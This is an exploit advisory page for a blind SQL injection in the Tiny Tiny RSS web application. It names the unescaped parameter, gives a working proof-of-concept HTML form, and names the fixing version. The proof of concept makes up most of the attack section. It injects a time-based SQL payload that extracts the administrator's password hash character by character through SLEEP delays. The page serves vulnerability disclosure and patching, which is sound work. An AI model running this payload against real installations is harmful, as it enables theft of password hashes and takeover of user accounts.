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Tiny Tiny RSS Blind SQL Injection

Tiny Tiny RSS Blind SQL Injection
Posted Feb 15, 2016
Authored by Kacper Szurek

Tiny Tiny RSS suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 2b70c9d055a100bd38a20ffa63dc9270

Tiny Tiny RSS Blind SQL Injection

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# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
<input type="hidden" name="op" value="pref-feeds">
<input type="hidden" name="method" value="savefeedorder">
<textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
<input type="submit" value="Hack!">
</form>

3. Solution:

Update to version a5556c2471973e292dce615fe0c77fdbbc54405b

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